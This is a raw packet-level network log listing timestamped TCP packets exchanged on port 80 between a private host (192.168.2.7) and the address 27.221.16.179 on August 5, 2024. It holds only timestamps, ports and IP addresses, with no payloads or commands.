Aug 5, 2024 12:01:05.570166111 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570194006 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570209980 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570280075 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570296049 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570399046 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.570399046 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.570400953 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570416927 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570466042 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.570579052 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570593119 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570606947 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570621014 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570635080 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570643902 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.570643902 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.570691109 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.570880890 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570898056 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570918083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.570955038 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.571099997 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571115017 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571130037 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571141958 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.571142912 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571157932 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571171045 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571223974 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.571223974 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.571496010 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571511030 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571523905 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571537018 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571557045 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.571595907 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.571702957 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571902037 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571917057 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571929932 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571943998 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571955919 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571969986 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571983099 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.571986914 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.571988106 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.571988106 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.572005033 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.572020054 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.572026014 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.572035074 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.572048903 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.572057962 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.572062016 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.572073936 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.572088957 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.572091103 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.572115898 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.572127104 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.572927952 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.572946072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.572959900 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.572973967 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.572988033 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573000908 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573014021 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573016882 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.573016882 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.573026896 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573039055 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573052883 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573065996 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573070049 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.573080063 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573093891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573108912 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.573110104 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573108912 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.573124886 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573149920 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.573199034 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.573915005 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573932886 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573946953 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573960066 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.573961973 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573975086 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573988914 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.573997974 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.574002981 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574017048 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574019909 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.574031115 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574043989 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574057102 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574069977 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574084044 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574098110 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574105978 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.574105978 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.574105978 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.574111938 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574121952 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.574894905 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574913025 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574925900 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574939013 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574953079 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574966908 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574980974 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.574995041 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575006962 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575020075 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575033903 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575033903 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.575033903 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.575033903 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.575048923 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575052023 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.575063944 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575078011 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575092077 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575141907 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.575141907 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.575141907 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.575870991 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575889111 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575902939 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575917006 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575931072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575944901 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575954914 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.575958014 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575973034 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.575988054 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576001883 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576004028 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.576004028 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.576015949 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576030016 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576036930 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.576044083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576057911 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.576059103 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576071978 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576179028 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.576179028 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.576862097 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576879025 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576893091 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576906919 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576920986 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576936007 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576950073 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576957941 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.576957941 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.576963902 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576971054 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.576977968 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.576992989 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.577006102 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.577009916 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.577018976 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.577033043 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.577047110 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.577049971 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.577059984 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.577080965 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.577111006 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.577672005 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.579732895 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.658782005 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.658806086 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.658821106 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.658881903 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.658885956 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.658900976 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.658943892 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.659075022 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659090996 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659118891 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.659202099 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659219027 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659243107 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.659349918 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659382105 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659395933 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659427881 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.659583092 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659652948 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659653902 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.659668922 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659682989 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659697056 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659707069 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.659709930 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659724951 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.659729958 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.659776926 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.660198927 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.660216093 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.660231113 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.660245895 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.660248995 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.660262108 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.660274029 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.660339117 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.660556078 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.660572052 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.663743973 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.667032003 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.667074919 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.917423964 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917434931 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917445898 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917515993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917521000 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.917527914 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917557955 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.917659998 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917670012 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917681932 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917711020 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.917752028 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.917905092 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917916059 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917927027 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917937040 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917947054 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917958021 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917959929 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.917968035 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917979002 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.917979002 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.918020964 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.918020964 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.918296099 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.918308020 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.918317080 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.918493986 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.918656111 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.918667078 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.918677092 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.918687105 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.918699026 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.918700933 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.918709993 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.918745995 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.918771029 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.919159889 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919172049 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919182062 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919192076 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919202089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919203997 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.919212103 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919220924 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919230938 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919239998 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.919240952 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919251919 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919261932 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919271946 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919281960 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919291019 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.919322968 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.919322968 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.919322968 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.919322968 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.919322968 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.920074940 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920084953 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920094967 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920105934 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920115948 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920125961 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920135021 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920145035 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920151949 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.920151949 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.920151949 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.920155048 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920166016 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920167923 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.920175076 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920185089 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920193911 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920203924 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920206070 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.920214891 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.920253038 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.920253038 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.920275927 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.921078920 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921092033 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921102047 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921112061 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921122074 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921133041 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921143055 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921153069 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921165943 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921174049 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.921174049 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.921174049 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.921175957 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921185970 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921190977 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.921195984 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921205997 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921216011 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921250105 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.921286106 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.921796083 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.921879053 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.921971083 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921983004 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.921992064 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922002077 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922012091 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922023058 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922033072 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922043085 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922045946 CEST	49864	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:05.922053099 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922063112 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922072887 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922082901 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922092915 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922101974 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922111034 CEST	80	49864	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:05.922120094 CEST	80	49864	27.221.16.179	192.168.2.7
